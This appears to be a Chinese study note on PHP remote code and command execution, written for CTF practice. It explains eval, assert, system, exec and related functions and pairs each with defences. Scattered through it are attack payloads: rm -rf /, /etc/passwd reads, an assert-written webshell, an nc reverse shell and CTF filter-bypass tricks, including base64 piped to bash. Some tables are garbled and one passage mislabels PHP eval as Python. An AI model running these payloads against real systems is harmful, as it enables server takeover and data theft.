前言
之前学过,不太完全,寒假的时候再回顾重学一下
参考大佬 文献:
- RCE漏洞详解及绕过总结(全面)-优快云博客
- RCE学习总结-优快云博客
- 【大家可以蹲蹲,有后续详细的绕过和题目的。。。】
RCE漏洞的概述

在网络安全领域:RCE是远程代码执行的缩写。RCE漏洞允许攻击者在目标系统上执行任意代码。攻击者通过远程执行代码来获取目标系统的控制权。针对RCE攻击,安全专家会采取各种防御措施,如代码审计、安全配置等,以防止RCE攻击的发生。RCE研究是网络安全中的一个关键领域,专注于发现和缓解RCE漏洞
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE主要指远程代码执行和远程命令执行,CTFHub中将文件包含漏洞也看作RCE漏洞。
| 命令执行 | 代码执行 |
| 调用操作系统命令进行执行 | 调用服务器网站的代码进行执行, 但代码执行在利用过程中往往会通过调用网站代码去执行系统命令 |
远程代码执行
介绍
一、定义及原理
远程代码执行,顾名思义就是用户可以远程执行代码。
这个漏洞和命令执行漏洞相近,根据设计的需求,需将用户输入的部分代码进行执行,又或者服务器对危险函数过滤不严导致用户输入的一些字符串可以被转换成代码来执行。这些时候往往容易导致远程代码执行。
二、成因
用户能够控制函数输入
存在可执行代码的危险函数常见代码执行函数
PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
Javascript: eval
Vbscript:Execute、Eval
Python: exec
三、漏洞检测
整体的检测方式和命令执行都是一样的,只是输入的方式不同。
常见代码执行函数
1.1. eval() 函数
eval — 把字符串作为PHP代码执行
1.1.1. 定义
eval() 是Python中一个动态执行字符串代码的内置函数,其核心作用是将字符串转换为可执行的Python表达式并返回结果。由于它直接执行任意代码,存在极高的安全风险(如代码注入),生产环境中严禁使用。
[https://www.php.net/manual/zh/function.eval.php](https://www.php.net/manual/zh/function.eval.php)
1.1.2. 基础语法
eval(expression, globals=None, locals=None)
expression:必填,要执行的Python表达式字符串(如"1+2")。globals:可选,全局命名空间(字典形式),限制代码可访问的全局变量。locals:可选,局部命名空间(字典形式),限制代码可访问的局部变量。
1.1.3. 常见用法示例
- 执行简单表达式
result = eval("10 + 20 * 3") # 等价于执行10+20*3
print(result) # 输出:70
- 动态计算变量值
x = 5
y = 3
result = eval("x ** y") # 等价于x的y次方
print(result) # 输出:125
- 使用
globals限制作用域
# 仅允许访问math模块,禁止其他全局变量
import math
result = eval("math.sqrt(16)", {"__builtins__": None, "math": math})
print(result) # 输出:4.0
1.1.4. 安全风险(重点)
eval() 会无限制执行任何字符串代码,若传入用户可控的内容(如表单输入),攻击者可构造恶意代码:
# 恶意示例:删除系统文件(仅作警示,请勿执行)
eval("__import__('os').system('rm -rf /')")
1.1.5. 注意:返回值
(https://www.php.net/manual/zh/reserved.constants.php#constant.null)`,
1.1.5.1. 默认返回null
eval()执行的代码如果没有显式使用return语句返回值,函数会默认返回null
(PHP中的空值常量)。
- 示例:
$result = eval('echo "Hello";');
var_dump($result); // 输出:NULL(因为代码中没有return)
1.1.5.2. 显式return时返回指定值
若执行的代码中包含return $value;,eval()会返回$value的值。
- 示例:
$result = eval('return 10 + 20;');
var_dump($result); // 输出:int(30)(返回计算结果)
1.1.5.3. 关键补充
eval()的返回值仅与执行代码中的return相关,与代码中的其他输出(如echo)无关。- 若执行的代码抛出错误(如语法错误),
eval()会返回null并触发E_PARSE错误。
简单来说:PHP的eval()默认“无返回值”(即null),只有主动return时才会传递具体结果。 📌
1.2. assert() 函数
1.2.1. 定义
assert()函数在 PHP 7.2 之前 ,它如果接收到字符串参数,会将其作为 PHP 代码执行,这使其成为了一个隐蔽的危险函数。PHP 8.0+:不再支持代码执行,仅支持表达式判断,大大提升了安全性。
assert() 是编程中用于调试阶段自检的工具,核心作用是验证代码运行时的假设条件是否成立。以下以 Python 和 C语言 为例展开说明:
1.2.2. RCE漏洞中assert()函数的利用原理
在远程代码执行(RCE)场景中,assert()函数的风险主要源于其动态执行字符串代码的特性(尤其在PHP 5/7版本中)。以下是具体原理和攻击示例:
1.2.2.1. 核心风险点:字符串参数被当作代码执行
assert()的设计初衷是调试断言(验证条件是否成立),但在PHP 5.x及7.x早期版本中,若传入的断言条件是字符串,函数会将其直接作为PHP代码执行。这一特性被攻击者利用,通过构造恶意字符串实现RCE。
- 正常用法(安全):
assert(1 == 2); // 条件不成立,触发断言错误(仅调试用)
- 被利用的危险用法(RCE漏洞):
若用户输入直接传入assert()的字符串参数,攻击者可构造代码执行Payload:
$user_input = $_GET['input']; // 假设用户输入可控
assert($user_input); // 若$user_input为恶意字符串,将执行代码
1.2.2.2. 典型攻击Payload示例
攻击者通过URL参数注入恶意代码,常见Payload格式:
- 执行系统命令(需
system()等函数未被禁用):
// 输入:?input=system('whoami');
assert("system('whoami');"); // 执行系统命令,返回当前用户身份
- 读取敏感文件:
// 输入:?input=file_get_contents('/etc/passwd');
assert("file_get_contents('/etc/passwd');"); // 读取系统用户配置文件
- 写入WebShell:
// 输入:?input=file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');
assert("file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');"); // 写入后门文件
1.2.2.3. 防御措施
- 禁止将用户输入直接传入
assert():严格过滤所有外部输入,避免字符串参数进入assert()。 - 使用静态条件代替动态字符串:断言条件应直接写为布尔表达式(如
assert($a == $b)),而非字符串拼接。 - 升级PHP版本:优先使用PHP 7.0+,并在
php.ini中设置zend.assertions = -1(完全禁用断言)。 - 禁用危险函数:通过
disable_functions配置禁用system()、exec()等执行命令的函数。
1.2.2.4. 关键总结
assert()在RCE漏洞中的核心风险是字符串参数被当作代码执行,本质是对用户输入的信任导致的注入问题。防御的关键在于隔离用户输入与代码执行函数,并通过版本升级和配置加固消除漏洞根源。 🛡️
1.3. preg_replace()函数
正则匹配替换字符串;
1.4. create_function()函数
主要创建匿名函数;
1.5. call_user_func()函数
回调函数,第一个参数为函数名,第二个参数为函数的参数;
1.6. call_user_func_array()函数
回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
1.7. 可变函数
若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
远程命令执行
介绍
一、定义及原理
远程命令执行,顾名思义就是可以远程执行系统命令。
该漏洞的出现是由于应用系统从设计上需要给用户提供指定的远程命令操作的接口,例如在防火墙的WEB界面中会存在一个故障排除功能,里面就会存在类似Ping操作的界面,若设计者未针对这类功能进行严格的控制检测,则可能导致攻击者提交恶意命令,从而控制后台,控制服务器。
简单来说,根据设计需求,有时会允许用户执行系统命令,要是不对用户的行为进行限制,用户就可以随意执行系统命令,造成危害,这就是远程命令执行。
二、成因
- 代码层过滤不严
- 系统的漏洞造成命令注入
- 调用的第三方组件存在代码执行漏洞常见的命令执行函数
-
PHP:exec、shell_exec、system、passthru、popen、proc_open等ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
三、漏洞检测
漏洞常常出现在网络设备、安全设备、自动化运维平台上面。
往往在有需求的地方,出现RCE的概率较大,这里的有需求指的是有用户执行系统命令的需求。
白盒:可以对代码进行审计。
黑盒:可以使用一些漏扫工具、公开的漏洞、手工看功能点及参数值,其中参数值主要需要看是否和相关的漏洞函数有关,若有就可以进行测试,但是可能存在加密的情况,那么还需要进行解密。
常用命令执行函数
怎么运行,运行条件,参数,能否回显
1.1. system() 函数【有回显】
system():能将字符串作为OS命令执行,且返回命令执行结果;
【system — 执行外部程序,并且显示输出】
system() 是操作系统级函数,用于调用系统命令并返回执行结果,在编程和网络安全领域是高频考点(尤其在RCE漏洞中)。
直接提交你想要执行的指令,然后他直接反馈给你
参数 回显
提交命令 ———— 返回结果
1.1.1. 语法
system(string $command, int &$result_code = null): string|false
- 作用:执行传入的
command字符串(系统命令),并返回命令执行状态码(0=成功,非0=失败)。
command:执行command参数所指定的命令,并且输出执行结果
如果提供return_code参数,则外部命令执行后的返回状态将会被设置到此变量中。
若是
0:表示命令**成功**执行。
非 0(通常是 1-255):表示命令**失败**或出现了异常。不同的数字代表不同的错误类型。
- 示例:
system("ls -l"); // Linux下执行"列出文件"命令
system("dir"); // Windows下执行"列出目录"命令
- 示例
<?php
highlight_file(__FILE__); //高光显示当前源代码
$cmd = $_GET["benben"]; //通过get方式benben的值
if(isset($cmd)){ //if判断是否有提交
system($cmd);
}
1.1.2. 安全风险:RCE漏洞的直接入口
system()是远程代码执行(RCE)漏洞的高危函数,
主要风险点:
- 用户输入未过滤:若攻击者可控
system()的参数(如通过URL、表单注入),可执行任意系统命令。
-
- 攻击示例(PHP):
$cmd = $_GET['cmd']; // 用户输入可控
system($cmd); // 攻击者传入?cmd=rm -rf / 将删除系统文件
- 权限继承:
system()会继承程序运行时的权限(如Web服务器的www-data用户权限),攻击者可利用此权限执行敏感操作。
1.1.3. 防御措施
- 严格过滤用户输入:
-
- 禁止直接将用户输入传入
system(),必须对输入进行白名单验证(仅允许指定命令)。 - 示例(PHP):
- 禁止直接将用户输入传入
$allowed = ['ls', 'pwd']; // 白名单命令
if (in_array($_GET['cmd'], $allowed)) {
system($_GET['cmd']);
}
- 最小权限原则:
运行程序时使用最低权限用户(如Web服务器用www-data而非root),降低攻击影响范围。
1.1.4. 关键总结
system()是双刃剑:合法场景下用于简化系统交互(如脚本自动化),但在用户输入可控时会直接导致RCE漏洞。安全开发中需坚决避免用户输入进入system(),优先采用安全替代方案。 🛡️
1.2. passthru()函数【有回显】
passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
【passthru — 执行外部程序并且显示原始输出】
输出二进制数据,并且需要直接传送到浏览器
参数 回显
提交命令 —————————— 返回结果
输出二进制数据流
1.2.1. 语法
passthru(string $command, int &$result_code = null): ?false
- 核心特点:
-
- 执行系统命令后,直接将命令的原始输出(包括二进制数据,如图片、压缩包)发送到浏览器。
- 不返回结果(无返回值),输出内容会直接显示在页面上。
- 常用于需要实时输出命令结果的场景(如执行
ping、tail等持续输出的命令)。
举例:
<?php
passthru('ls /');
passthru('whoami');
示例
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
echo "This is test!!!"; //输出固定文本 "This is test!!!" 到页面
passthru($cmd); //执行结果会直接输出到页面,而不会存储到变量中
?>
1.2.2. 与其他命令执行函数的对比
passthru() 是PHP中用于执行系统命令并直接输出结果的函数,与exec()、shell_exec()的核心差异在于输出方式。
| 特性 |
|
|
|
| 输出方式 | 直接输出到浏览器 (原始结果) | 返回完整输出字符串(需手动 | 返回最后一行,需通过参数获取完整结果 |
| 二进制支持 | 支持(如直接输出图片、视频流) | 不支持(仅返回文本字符串) | 不支持 |
| 返回值 | 无返回值 | 返回完整输出字符串 | 返回最后一行输出 |
1.2.3. 安全风险:命令注入高危点
passthru()的风险与其他命令执行函数完全一致——用户输入未过滤导致命令注入:
- 攻击示例:
若$command可控,攻击者可构造恶意命令:
$cmd = $_GET['cmd']; // 用户输入可控
passthru($cmd); // 直接输出命令结果
攻击者传入 ?cmd=cat /etc/passwd 可直接在页面显示系统用户信息;
传入 ?cmd=rm -rf / 会直接删除服务器文件。
1.2.4. 防御措施
与其他命令执行函数的防御逻辑完全一致:
- 输入白名单验证:仅允许预定义的安全命令(如
ls、date)。 - 参数转义:若需动态传参,使用
escapeshellarg()转义参数(避免Shell解析):
$cmd = 'ls';
$arg = escapeshellarg($_GET['dir']); // 转义用户输入的目录参数
passthru("$cmd $arg");
- 禁用危险函数:生产环境通过
php.ini的disable_functions禁用passthru()。
1.2.5. 关键总结
passthru() 是直接输出命令原始结果的工具,适合处理二进制数据或实时输出场景,但在用户输入可控时会直接引发RCE漏洞。安全开发的核心原则是:永远不要让用户输入直接传入passthru(),必须通过白名单、参数转义等措施彻底阻断注入风险。 🛡️
1.3. pcntl_exec()函数【有回显】
pcntl_exec — 在当前进程空间执行指定程序
主要用于处理Unix/Linux系统中的进程管理
1.3.1. 语法
pcntl_exec(string $path, array $args = [], array $env_vars = []): bool
path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是 #!/usr/local/bin/perl 的 perl 脚本)。
args是一个要传递给程序的参数的字符串数组。
env_vars 是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value 格式的,key 代表要传递的环境变量的名称,value 代表该环境变量值。
1.3.2. 核心特点:
进程替换**
+ **覆盖当前进程**:它会用新程序替换当前的 PHP 进程。
+ **后续代码不执行**:如果执行成功,原 PHP 脚本中该行之后的代码将**永远不会被执行**。
举例:
<?php
// 执行 ls 命令,列出当前目录的文件
pcntl_exec("/bin/ls", ["/"]); #ls /
// 如果 pcntl_exec 执行成功,以下代码不会被执行
echo "bxbxbxbxbxbxbxbx";
?>
1.4. exec()函数【无回显】
exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);
【exec — 执行一个外部程序】
提交指令,要通过变量,最后再通过输出得到结果
exec只能回显最后一行,需要第二个参数来给他赋值之后,还得用依靠指令才能将所有内容给他回显出来
参数 回显
提交命令 ———————— 返回结果
output参数 print_r
填充数组
1.4.1. 语法
exec(string $command, array &$output = null, int &$result_code = null): string|false
command 要执行的命令。
output 如果提供了output参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。
result_code 如果同时提供 output和 result_code参数,命令执行后的返回状态会被写入到此变量。 接收命令执行后的状态码(通常 `0` 表示成功,非 `0` 表示失败)
- 示例
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"]; //从URL的查询参数中获取名为 cmd 的参数值,并将其赋值给变量 $cmd
exec($cmd,$array); //执行结果会被存储到数组 $array
print_r($array); //将 $array 的内容以可读形式输出到页面
?>
1.4.2. 函数特点:
- 静默执行:它执行外部命令,但**不直接输出**任何内容到浏览器。
- 返回命令输出结果的**最后一行**。 如果执行失败,则返回 `
false`。
<?php
exec('ls', $output);
echo "done";
1.4.3. 如何回显结果?
使用output参数+print_r/var_dump可以回显全部内容
【var_dump() 函数输出变量的详细信息,包括变量的类型与值。数组将递归展开值,通过缩进显示其结构。】
<?php
exec('whoami', $output);
print_r($output);
>
<?php
print_r(exec('whoami'));
>
或者 反弹shell,需要公网ip
1.4.4. 安全风险:RCE漏洞的高危载体
exec() 的风险与system()类似,核心问题是用户输入未过滤导致命令注入:
- 攻击示例(PHP):
若exec()的参数可控,攻击者可构造恶意命令:
$cmd = $_GET['cmd']; // 用户输入可控
exec($cmd, $output); // 执行命令并将结果存入$output
攻击者传入 ?cmd=rm -rf / 会删除系统文件;
传入 ?cmd=whoami 可获取当前用户权限。
- 命令注入技巧:
利用;(分隔命令)、&&(前命令成功则执行后命令)、|(管道符)构造复合命令:
ls; whoami # 先执行ls,再执行whoami
1.4.5. 防御措施
- 输入白名单验证:
仅允许指定的安全命令,禁止用户输入直接传入exec()。示例(PHP):
$allowed = ['ls', 'date'];
// 白名单命令
//定义一个白名单数组,仅包含允许执行的系统命令(ls用于列出文件,date用于显示时间)。
if (in_array($_GET['cmd'], $allowed)) {
//$_GET['cmd']:获取用户通过URL传入的cmd参数(如?cmd=ls)。
//in_array(值, 数组):判断用户输入的cmd是否在白名单$allowed中。
//逻辑:只有当用户输入的命令是ls或date时,才会执行后续的exec()函数。
exec($_GET['cmd'], $output);
//exec(命令, 结果数组):执行系统命令,并将命令的输出结果存入$output数组
//(仅返回最后一行输出,需通过数组获取完整结果)。
//安全前提:因经过白名单验证,此处执行的命令是预先允许的安全命令,不会引发注入风险。
}
//这段代码通过白名单机制彻底阻断了命令注入的可能性——即使攻击者尝试传入恶意命令(如?cmd=rm -rf /),
//因不在白名单中,if条件会直接不成立,exec()不会执行。
- 参数分离(避免Shell注入):
若需动态传参,使用命令与参数分离的写法(如Python的subprocess):
import subprocess
# 安全:命令与参数分开,避免Shell解析
subprocess.run(['ls', '-l', '/tmp'], shell=False)
- 禁用危险函数:
在PHP中通过php.ini的disable_functions禁用exec()、system()等函数(生产环境推荐)。
1.4.6. 关键总结
exec() 是系统交互的便捷工具,但在用户输入可控时会直接引发RCE漏洞。安全开发的核心原则是:永远不要信任用户输入,通过白名单、参数分离、最小权限等措施彻底阻断注入风险。 🛡️
1.5. shell_exec() 函数【无回显】
shell_exec():能将字符串作为OS命令执行
【shell_exec— 通过 shell 执行命令并将完整的输出以字符串的方式返回】
借用echo、print等输出结果
参数 回显
提交命令 ————————返回结果
echo/print
1.5.1. 语法
shell_exec(string $command): string|false|null
- 核心特点:
-
- 执行系统命令(如
ls、whoami),并将命令的全部输出作为字符串返回(包括换行符)。 - 若命令执行失败或无输出,返回
NULL。
- 执行系统命令(如
<?php
$a = shell_exec('whoami');
$b = `whoami`;
echo $a;
echo $b;
示例
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$output = shell_exec($cmd);//执行结果会被存储到变量
$output 中
echo $output;
?>
1.5.2. 与exec()的对比
shell_exec() 是PHP中用于执行系统命令并返回完整输出的函数,与exec()的核心差异在于返回值处理。
| 特性 |
|
|
| 返回值 | 返回命令的完整输出字符串 | 返回命令的最后一行输出,需通过参数获取完整结果 |
| 执行方式 | 通过Shell解析命令(默认 | 直接执行命令(部分环境下可能通过Shell) |
| 命令注入风险 | 完全暴露(若参数可控) | 风险相同(需输入验证) |
1.5.3. 安全风险:与exec()一致的高危性
shell_exec()的风险与exec()完全相同——用户输入未过滤导致命令注入:
- 攻击示例:
若$command可控,攻击者可构造恶意命令:
$cmd = $_GET['cmd']; // 用户输入可控
$output = shell_exec($cmd); // 执行命令并返回完整输出
攻击者传入 ?cmd=cat /etc/passwd 可读取系统用户信息;
传入 ?cmd=nc -e /bin/sh 192.168.1.100 4444 可反弹Shell获取服务器控制权。
1.5.4. 防御措施
与exec()的防御逻辑完全一致:
- 输入白名单验证:仅允许预定义的安全命令(如
ls、date)。 - 参数分离:若需动态传参,使用
escapeshellarg()转义参数(避免Shell解析):
$cmd = 'ls';
$arg = escapeshellarg($_GET['dir']); // 转义用户输入的目录参数
$output = shell_exec("$cmd $arg");
- 禁用危险函数:生产环境通过
php.ini的disable_functions禁用shell_exec()。
1.5.5. 关键总结
shell_exec() 是获取命令完整输出的便捷工具,但在用户输入可控时会直接引发RCE漏洞。安全开发的核心原则是:永远不要让用户输入直接传入shell_exec(),必须通过白名单、参数转义等措施彻底阻断注入风险。 🛡️
1.6. 反引号(` `)【无回显】
(在 PHP 中,反引号 被称为**执行运算符**。它的功能与 `shell_exec()` 函数完全相同,用于在服务器底层系统中执行命令。)
(反引号``:反引号``内的字符串会被解析为OS命令;)
参数 回显
提交命令 ————————返回结果
echo/print
<?php
$output = `ls -l`;
echo $output;
//等价于$output = shell_exec('ls -l');
?>
1.7. popen() 函数【无回显】
popen — 打开进程文件指针
首先要用`r`读,然后赋值到一个地方去(ben),然后再用fgets读取进程里的内容,读取后在使用print_r输出
参数 回显
提交命令 ———————————— 返回结果
mode参数 fgets获取print_r输出
1.7.1. 语法
在操作系统中执行一个命令,并打开一个连接到该命令的“管道”(Pipe),让你能像读写普通文件一样与这个进程交互。
popen ( string $command , string $mode ) : resource
+ $command:要执行的命令。
+ $mode:模式。`'r'` 表示只读(读取命令输出),`'w'` 表示只写(向命令写入数据)。
| 模式符号 | 英文全称 | 作用说明 |
| r | Read | 只读模式,文件不存在则报错;指针位于文件开头。 |
| w | Write | 只写模式,覆盖原有内容(文件不存在则创建);指针位于文件开头。 |
| a | Append | 追加模式,在文件末尾添加内容(文件不存在则创建);指针自动移到末尾。 |
| x | Exclusive | 独占创建模式,文件已存在则报错(避免覆盖)。 |
举例:
<?php
$cmd = "whoami"; // 接收用户传入的命令
$ben = popen($cmd, 'r'); // 以只读模式打开进程管道
while($s = fgets($ben)){ // 循环读取管道中的每一行输出
print_r($s); // 打印输出结果
}
?>
示例:
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$ben = popen($cmd,'r');
//使用 popen() 函数在服务器上执行 $cmd 中的命令,并打开一个管道(pipe),以便读取命令的输出
while($s=fgets($ben)){
print_r($s);
}
?>
1.8. proc_open()函数【无回显】
【proc_open():与popen()类似】
提交命令 —————————— 返回结果
descriptor_spec参数
pipes参数
1.8.1. 语法
proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)
command参数: 要执行的命令。
descriptor_spec参数: 定义数组内容。
pipes参数: 调用数组内容。
1.8.2. 例子
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$array = array(
//$array = array(...);定义了一个数组,用于配置 proc_open() 的输入输出管道
array("pipe","r"), 可读管道
array("pipe","w"), 可写管道
array("file","/tmp/error-output.txt","a")
);
$fp = proc_open($cmd,$array,$pipes);
//使用 proc_open() 函数执行 $cmd 中的命令,
//并根据 $array 的配置创建相应的管道。 执行成功后,返回一个资源句柄 $fp,并填充 $pipes 数组
echo stream_get_contents($pipes[1]);
//[1]输出内容[0]输入内容
proc_close($fp);
//关闭由 proc_open() 创建的进程资源
?>
常见命令
一、Windows
【Windows系统常用操作命令大全_windows常用命令-优快云博客】
dir:列出目录中的文件和子目录。
例如,dir C:\\Users可以列出C盘下Users目录中的所有文件和子目录。
cd:改变当前目录。
例如,cd C:\\Windows可以将当前目录更改为C盘下的Windows目录。
-
copy:复制文件到指定位置。
例如,copy C:\\file.txt D:\\可以将C盘下的file.txt复制到D盘。
-
move:移动文件或重命名文件/目录。
例如,move C:\\file.txt D:\\可以将C盘下的file.txt移动到D盘。
-
del:删除一个或多个文件。
例如,del C:\\file.txt可以删除C盘下的file.txt文件。
-
md/mkdir:创建新目录。
例如,md C:\\NewFolder可以在C盘下创建一个名为NewFolder的新目录。
rd/rmdir:删除目录。
例如,rd C:\\OldFolder可以删除C盘下的OldFolder目录。
-
attrib:显示或更改文件属性。
例如,attrib +r C:\\file.txt可以将C盘下的file.txt文件设置为只读属性。
ren(重命名文件或目录)type(显示文件内容)format(格式化磁盘)ping#测试连通性tracert#追踪路由telnet#远程连接ipconfig#查看iparp -a#查看路由表calc#打开计算器regedit#打开注册表netstat -ano#查看服务器端口信息
二、Linux
【Linux常见指令(超全超详细)_linux指令-优快云博客】
1、文件和目录操作
cd:切换目录。例如,cd /home 进入 /home 目录。
pwd:显示当前工作目录。
ls:列出目录内容。例如,ls -l 显示详细列表。
mkdir:创建目录。例如,mkdir dir1 创建名为 dir1 的目录。
rmdir:删除空目录。
rm:删除文件或目录。例如,rm -rf dir1 递归删除 dir1 及其内容。
cp:复制文件或目录。例如,cp file1 file2 将 file1 复制为 file2。
mv:移动或重命名文件或目录。例如,mv old_name new_name 重命名文件。
du:统计文件和目录的磁盘使用情况。
2、查看文件内容
cat:连接文件并打印到标准输出。例如,cat file1 查看 file1 的内容。
tac:反向显示文件内容。
more:分页显示文件内容。
less:类似 more,但允许向前和向后滚动。
head:显示文件的前几行。例如,head -n 10 file1 显示 file1 的前10行。
tail:显示文件的最后几行或实时跟踪文件更新。例如,tail -f /var/log/syslog 实时查看日志文件。
3、系统管理和网络
shutdown:关闭系统。例如,shutdown -h now 立即关机。
reboot:重启系统。
date:显示或设置系统日期和时间。
ping:测试网络连通性。例如,ping google.com 测试与 Google 的网络连接。
4、用户和权限管理
useradd:添加新用户。
userdel:删除用户。
groupadd:添加新组。
groupdel:删除组。
chown:更改文件或目录的属主和属组。例如,chown user:group file1 将 file1 的属主更改为 user,属组更改为 group。
chmod:更改文件或目录的权限。例如,chmod 755 file1 设置 file1 的权限为755。
5、压缩与解压缩
tar:归档文件。例如,tar -czvf archive.tar.gz dir1 将 dir1 压缩为 archive.tar.gz。
gzip:压缩文件。例如,gzip file1 将 file1 压缩为 file1.gz。
gunzip:解压缩 .gz 文件。
zip:压缩文件或目录为 .zip 格式。
unzip:解压缩 .zip 文件。
6、其他常用命令
find:在文件系统中查找文件或目录。例如,find / -name file1 从根目录开始查找名为 file1 的文件。
grep:在文件中搜索文本。例如,grep "hello" file1 在 file1 中搜索包含 "hello" 的行。
ps:显示当前运行的进程。例如,ps aux 显示所有进程。
kill:终止进程。例如,kill -9 PID 强制终止进程 PID。
常见命令连接符
一、Windows
|:直接执行后面的语句:
||:如果前面的语句执行出错,则执行后面的语句,否则仅执行前面的语句
&:前后的语句均可执行,但是前面的语句如果执行结果为假(即执行失败),则仅输出后面语句的结果
&&:如果前面的语句为假,则直接报错,也不执行后面的语句。
>和>>:输出重定向命令
> 清除文件中原有的内容后再写入
>> 追加内容到文件末尾,而不会清除原有的内容。主要将本来显示在屏幕上的内容输出到指定文件中;指定文件如果不存在,则自动生成该文件
<:从文件中获得输入信息,而不是从屏幕上,一般用于 date time label 等需要等待输入的命令
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*:命令行传递给批处理的参数
%0 批处理文件本身
%1 第一个参数
%9 第九个参数
%* 从第一个参数开始的所有参数
二、Linux
;:按顺序执行语句
|:只执行后面语句
||:如果前面的语句执行失败,则执行后面的语句。如果前面的语句执行成功,则不执行后面的语句。【二选一】
&:如果前面的语句为假(执行失败),则执行后面的语句,否则两条语句均会执行
&&:如果前面的语句出错,则停止,否则两条语句均会执行
绕过方式
RCE绕过的简介以及常见的绕过方式(个人学习笔记)_java通用rce漏洞拦截-优快云博客
1. 常见文件读取命令绕过
题目有时会禁用cat这种常见的文件读取命令,该怎么办呢?
tac:反向显示;
more:一页一页的显示档案内容;
less: 与more类似;
tail : 查看末尾几行;
nl : 显示的时候,顺便输出行号;
od : 以二进制的方式读取档案内容;
xxd : 读取二进制文件,把文件转换成十六进制形式;
sort : 主要用于排序文件;
uniq : 报告或删除文件中重复的行;
grep:在文本中查找指定的字符串;
- 例子
?cmd=passthru("od -A d -c flag.php");
?cmd=passthru("xxd flag.php");
?cmd=passthru("sort flag.php");
?cmd=passthru("/usr/bin/s?rt flag.php");
?cmd=passthru("uniq flag.php");
?cmd=passthru("grep Hnu flag"); #从flag文本文件中搜索包含"Hnu"字符串的行
?cmd=passthru("grep { fla*"); #搜索{
2. 空格绕过
> < <> 重定向符
%20(space)
%09(tab)
$IFS$9
${IFS}(最好用这个)
$IFS
%0a 换行符
{cat,flag.txt} 在大括号中逗号可起分隔作用
3. 拼接绕过
a=fl;b=ag;cat$IFS$a$b
4. 管道符绕过

5. 反斜杠\绕过:
cat、ls,flag被过滤,使用\绕过
(1):c\at /flag
(2):l\s /
(3):fl\ag
6. 取反绕过:
//取反传参
<?php
$a = "system";
$b = "cat /flag";
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>
7. 正则匹配绕过:
//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}
7.1. *(星号):匹配零个或多个任意字符
- 规则:表示“任意长度的任意字符”(包括空字符)。
- 示例:
-
*.txt:匹配所有以.txt结尾的文件(如note.txt、report_2024.txt)。file*:匹配所有以file开头的文件(如file1.jpg、file_backup.zip)。*secret*:匹配文件名中包含secret的文件(如my_secret.txt、secret_key.pem)。
7.2. ?(问号):匹配单个任意字符
- 规则:表示“恰好一个任意字符”,不能匹配零个或多个。
- 示例:
-
file?.txt:匹配file1.txt、fileA.txt(单个占位符),但不匹配file.txt(无字符)或file12.txt(两个字符)。photo_??.png:匹配photo_01.png、photo_ab.png(两个占位符)。
7.3. [](方括号):匹配括号内的任意单个字符
- 规则:表示“括号内的某一个字符”,支持单个字符或范围(如数字/字母范围)。
- 示例:
-
file[1-3].txt:匹配file1.txt、file2.txt、file3.txt(数字范围1-3)。img_[a-c].jpg:匹配img_a.jpg、img_b.jpg、img_c.jpg(字母范围a-c)。doc_[xyz].pdf:匹配doc_x.pdf、doc_y.pdf、doc_z.pdf(单个字符列举)。
7.4. [^](取反方括号):匹配不在括号内的单个字符
- 规则:在方括号开头加
^,表示“排除括号内的所有字符”。 - 示例:
-
file[^a-c].txt:匹配file1.txt、fileD.txt(排除a/b/c),但不匹配filea.txt。log_[^0-9].log:匹配log_error.log、log_debug.log(排除数字),但不匹配log_2024.log。
7.5. {}(大括号):匹配括号内的任意完整字符串
- 规则:表示“括号内的某一个完整字符串”,支持多个字符串列举或连续范围(需配合
..)。 - 示例:
-
file{1,2,3}.txt:匹配file1.txt、file2.txt、file3.txt(直接列举值)。report_{2022..2024}.pdf:匹配report_2022.pdf、report_2023.pdf、report_2024.pdf(连续范围)。{cat,dog,bird}.txt:匹配cat.txt、dog.txt、bird.txt(多个独立字符串)。
7.6. 关键区别总结
| 通配符 | 匹配逻辑 | 灵活性 |
|
| 任意长度任意字符 | 最灵活(模糊) |
|
| 单个任意字符 | 中等(模糊) |
|
| 单个指定字符/范围 | 中等(精确) |
|
| 单个非指定字符/范围 | 中等(精确) |
|
| 完整字符串列举/范围 | 最精确 |
通配符是CTF中文件遍历(如 ls /var/log/*)和批量操作的常用技巧,掌握后能大幅提升命令行效率 ⚡。
8. 引号绕过:
//如cat、ls被过滤
(1)ca""t /flag
(2)l's' /
9. 编码绕过
9.1. Base64编码绕过
9.1.1. 什么是Base64编码?
Base64编码是一种基于64个可打印字符来表示二进制数据的编码方式。它常用于在需要以文本形式传输或存储二进制数据的场景中,比如电子邮件、URL参数、网络传输等。
9.1.2. Base64编码的特点 :
Base64使用以下64个字符作为编码表:
字母:A-Z、a-z(共52个字符)
数字:0-9(共10个字符)
两个符号:+和/(共2个字符)
填充符:=(用于填充不足3字节的数据)
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d #解码读取命令
即cat flag.txt
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash #执行命令
|把cat flag.php,放在bash里执行
base64解码后的命令通过管道符传递给bash
payload:
echo xxxx|base64 -d|bash
`echo xxxx|base64 -d`
$(echo xxxx|base64 -d)
